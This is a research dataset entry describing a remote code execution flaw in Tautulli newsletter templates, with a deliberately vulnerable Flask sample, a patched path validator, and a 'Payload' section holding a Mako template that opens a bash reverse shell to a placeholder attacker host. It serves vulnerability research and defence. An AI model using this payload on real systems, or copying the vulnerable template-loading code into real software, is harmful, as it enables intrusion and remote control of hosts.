VAITP Dataset

← Back to the dataset

CVE-2026-41065

Unauthenticated RCE in Tautulli < 2.17.1 via newsletter templates.

  • CVSS 8.9
  • CWE-1336
  • Authentication, Authorization, and Session Management
  • Remote

Tautulli is a Python based monitoring and tracking tool for Plex Media Server. Versions prior to 2.17.1 are vulnerable to remote code execution via the newsletter custom template directory feature. On a fresh install before the setup wizard is completed, all management endpoints are completely unauthenticated. An attacker can create a newsletter agent, point the custom template directory to an attacker-controlled SMB share serving a malicious Mako template, and trigger execution via the newsletter render endpoint, all with zero credentials and no local access to the target system. On a completed install with credentials configured, the same chain is exploitable by any admin. Version 2.17.1 fixes the issue.

CVSS base score
8.9
Published
2026-06-04
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Authentication, Authorization, and Session Management
Subcategory
Remote File Inclusion (RFI)
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Tautulli
Fixed by upgrading
Yes

Solution

Upgrade to Tautulli version 2.17.1 or later.

Vulnerable code sample

import os
from flask import Flask, request, jsonify
from mako.lookup import TemplateLookup

app = Flask(__name__)

# Simulate Tautulli's in-memory configuration for a newsletter agent.
# This would be settable via an unauthenticated API on a fresh install.
NEWSLETTER_CONFIG = {
    'template_folder': 'default_templates',
    'template_file': 'newsletter.mako'
}

@app.route('/api/v2/set_newsletter_config', methods=['POST'])
def set_newsletter_config():
    """
    Simulates the unauthenticated endpoint allowing an attacker to set the
    custom template directory for a newsletter agent.
    """
    data = request.get_json()
    # VULNERABLE: The 'template_folder' path from the user is not sanitized or validated.
    # An attacker can set this to a remote path like an SMB share, e.g., '\\\\attacker-ip\\share'.
    if 'template_folder' in data:
        NEWSLETTER_CONFIG['template_folder'] = data['template_folder']
    return jsonify({"response": {"result": "success", "message": "Configuration saved"}})

@app.route('/api/v2/render_newsletter_template', methods=['GET'])
def render_newsletter_template():
    """
    Simulates the endpoint that renders the template from the configured directory.
    This triggers code execution if the path points to a malicious template.
    """
    try:
        template_dir = NEWSLETTER_CONFIG.get('template_folder')
        template_file = NEWSLETTER_CONFIG.get('template_file')

        # VULNERABLE: TemplateLookup is initialized with the user-controlled path.
        # It will attempt to read files from this path, including remote SMB shares.
        mylookup = TemplateLookup(directories=[template_dir])
        mytemplate = mylookup.get_template(template_file)

        # The Mako template engine executes any Python code embedded in the template
        # during rendering. A malicious template could contain: <% import os; os.system('calc') %>
        return mytemplate.render()
    except Exception as e:
        return f"Error: {e}", 500

Patched code sample

import os

def validate_template_path(user_provided_path, safe_base_directory):
    """
    Represents the fix by ensuring a user-provided path is a safe, local
    subdirectory and not a remote share or a path outside the app's scope.
    """
    # Normalize the user path to resolve relative components like '..'
    resolved_user_path = os.path.abspath(user_provided_path)
    
    # Normalize the application's safe base directory
    safe_root = os.path.abspath(safe_base_directory)

    # Block remote UNC paths (e.g., \\attacker\share) which were the exploit vector.
    # This check is primarily for Windows environments.
    if os.name == 'nt' and resolved_user_path.startswith('\\\\'):
        raise ValueError("Remote UNC paths are not allowed for template directories.")

    # Ensure the fully resolved path is inside the designated safe directory.
    # This prevents directory traversal attacks (e.g., using '../' to escape).
    if os.path.commonpath([safe_root, resolved_user_path]) != safe_root:
        raise ValueError("Template directory is outside the allowed base directory.")

    # If all checks pass, the path is considered safe to use.
    return resolved_user_path

Payload

<%
import os
os.system('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1')
%>

Cite this entry

@misc{vaitp:cve202641065,
  title        = {{Unauthenticated RCE in Tautulli < 2.17.1 via newsletter templates.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-41065},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-41065/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::